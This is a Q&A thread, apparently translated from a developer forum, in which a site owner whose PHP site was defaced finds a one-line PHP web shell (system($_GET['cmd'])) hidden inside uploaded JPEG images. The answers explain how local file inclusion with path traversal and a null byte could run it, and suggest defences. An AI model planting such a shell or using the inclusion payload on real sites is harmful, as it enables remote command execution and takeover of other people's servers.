8

昨天我的网站被组成了。攻击者将 index.php 文件更改为他们自己的文件(以及他们所有的荣耀消息和问候)。我已将此通知托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何似乎是原因的问题,因为我仍然无法指出我们的具体情况如何服务器遭到攻击,但我想我发现了某些可能是罪魁祸首的基于脚本的漏洞。

我们的网站有一个图片上传表单,但是所有上传的图片都通过使用 php getimagesize 函数验证它们是否确实是图片文件而不是一些代码。仅当图像类型为 IMAGETYPE_GIF、IMAGETYPE_JPEG 或 IMAGETYPE_PNG 时,它们才会被接受。否则,他们将无法上传文件。但是我发现一个上传的图像文件里面包含一个 php 脚本!您可以在此处下载图像。这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,您会在其中找到一个 php 代码:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

例如,图像被上传到此位置 (www.mysite.com/uploads/picodes.jpg)。请注意,文件夹上传的权限是 755。世界上有什么方法可以让攻击者执行系统(或任何其他命令,例如 passthru,因为我们发现另一个图像隐藏了与上面相同的代码,但不是系统,它有 passthru 命令),例如,键入www.mysite.com/uploads/picodes.jpg?cmd=some command ?? 据我所知,这是无法完成的(如果有人能证明我错了,真的很感激),除非攻击者可以将 jpg 文件重命名为 php,即使这样,这些代码也隐藏在图像的深处(请看里面的图像文本编辑器来理解我想说的)

为了预防起见,我通过在 php.ini 中的 disable_functions 中添加这些 php 函数(exec、passthru、proc_close、proc_get_status、proc_nice、proc_open、proc_terminate、shell_exec、system)来禁用它们。

无论如何,我仍然认为攻击者不是通过网络,而是通过服务器漏洞获得访问权限,但我认为我的托管公司不这么认为。

4

4 回答 4

5

带有任意 PHP 代码的图像文件不能通过直接请求来利用,例如http://www.mysite.com/uploads/image.jpg?cmd=somecode.

不过,它可以与本地文件包含漏洞一起使用。

例如,在您使用的 index.php 中include('pages/' . $_GET['page'] . '.php');,攻击者可以上传带有 PHP 代码的图像,然后像这样执行命令:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD:将 URL 中的文件更改为页面

于 2010-10-19T08:21:07.167 回答
4

除了实际的图像数据之外,JPEG 文件中还可以包含任意数据;这是规范的一部分。因此,仅仅检查图像是否是有效的 JPEG 并不意味着该文件一定是完全无害的。

于 2010-08-17T04:13:31.693 回答
2

My image file up-loader setting are: upload file to temp folder, creat new image using imagecreatefromjpeg or imagecreatefrompng or imagecreatefromgif and save, delete uploaded file from temp folder (all these stuff happening within same script action, so file uploaded in temp folder does not exist for long time)

于 2013-02-04T11:57:23.070 回答
2

这可能不是您的代码中的漏洞。几周前我也发生了同样的事情。尽管我所有的 index.php 文件都被删除了,即使是那些不能直接通过网络访问的文件。就我而言,这是 Linux 中的一个安全漏洞。与我的代码无关。这是我的托管服务提供商 (A2Hosting) 关于该问题的回复。一旦我说服他们这不是我做的任何事情,他们很快就会弄清楚。

“最近 Linux 内核中的一个漏洞被用来授予对服务器上用户目录的管理(root)访问权限。攻击包括删除目录中的索引文件并将其替换为攻击者想要的内容: "

于 2010-10-20T15:38:03.837 回答